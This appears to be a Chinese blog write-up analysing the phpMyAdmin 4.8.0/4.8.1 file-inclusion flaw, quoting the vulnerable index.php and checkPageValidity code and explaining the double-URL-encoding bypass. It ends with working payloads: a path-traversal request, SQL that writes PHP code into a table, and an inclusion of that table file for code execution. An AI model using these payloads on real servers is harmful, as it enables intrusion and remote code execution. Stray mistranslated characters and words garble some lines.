By:Mirror王宇陽html
攻擊者利用發如今服務器上包含(查看和潛在執行)文件的漏洞。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正確的測試。 攻擊者必須通過身份驗證,但在這些狀況下除外:sql
$ cfg [‘AllowArbitraryServer’] = true:攻擊者能夠指定他/她已經控制的任何主機,並在phpMyAdmin上執行任意代碼;數據庫
$ cfg [‘ServerDefault’] = 0:這會繞過登陸並在沒有任何身份驗證的狀況下運行易受攻擊的代碼。windows
影響:phpMyAdmin-4.8.0/4.8.1數組
文件路徑:.\phpMyAdmin\index.php
服務器
位置鎖定:line 55~63函數
// 若是有一個有效的目標,加載這個腳本 if (! empty($_REQUEST['target']) //是否存在target參數 && is_string($_REQUEST['target']) //target是否爲字符串 && ! preg_match('/^index/', $_REQUEST['target']) //限制要求target以index開頭 && ! in_array($_REQUEST['target'], $target_blacklist) //限制target不能出如今$target_blacklist中 /* $target_blacklist = array( 'import.php' , 'export.php' ) // target != 'import.php' != 'export.php' */ && Core::checkPageValidity($_REQUEST['target']) // Core類的checkPageValidity()方法 ) { include $_REQUEST['target']; exit; }
第61行include $_REQUEST['target']
暴露了存在LFI的可能。源碼分析
須要的是繞過限制:測試
target參數不能夠以index開頭,不出如今target_blacklist中(!= import.php != export.php)
調用Core類[<u>libraries\classes\Core.php</u>]的checkPageValidity()自定義函數且結果爲真
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { // 白名單 //$whitelist在函數被調用的時候,沒有值引用$goto_whitelist的內容(上圖) $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { //$page沒有定義或$page不爲字符串時 返回false return false; } if (in_array($page, $whitelist)) { // in_array():搜索數組中是否存在指定的值 //$page存在$whitelist中的value返回true return true; } $_page = mb_substr( //mb_substr():返回字符串的一部分 $page, 0, mb_strpos($page . '?', '?') //返回從開始到問號之間的字符串 ); if (in_array($_page, $whitelist)) { //$_page存在$whitelist中的value返回true return true; } $_page = urldecode($page);//urldecode():解碼已編碼的URL //通過urldecode函數解碼後的$_page存在$whitelist中的某個值則返回true $_page = mb_substr(//返回從開始到問號之間的字符串 $_page, 0, mb_strpos($_page . '?', '?') //mb_strpos():查找在字符串中第一次出現的位置(大小寫敏感) ); if (in_array($_page, $whitelist)) { return true; } return false; }
465~473代碼的目的:二次URL解碼
這裏考慮到了URL二次編碼和參數存在的狀況!
例如傳入:
?target=db_datadict.php%253f
服務器在接收到URL請求鏈接後就會自動對URL進行一次解碼爲:
?target=db_datadict.php%3f
在遇到$_page = urldecode($page);
二次解碼後爲:?target=db_datadict.php?
這樣就符合白名單的要求「 ?符號前的文件名在白名單序列中」
利用二次編碼「%253f」能夠繞過checkPageValidity()的檢查!
因爲二次解碼只是在checkPageValidity()中執行的,在index.php中只作過一次解碼:?target=db_datadict.php%3f
由此就形成了文件包含漏洞
?target=db_sql.php%253f/../../../../../../windows/wininit.ini
查詢數據庫路徑:
show global variables like "%datadir%";
向數據庫寫入代碼:
CREATE DATABASE rce; use rce; CREATE TABLE rce(code varchar(100)); INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含該數據庫文件:
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD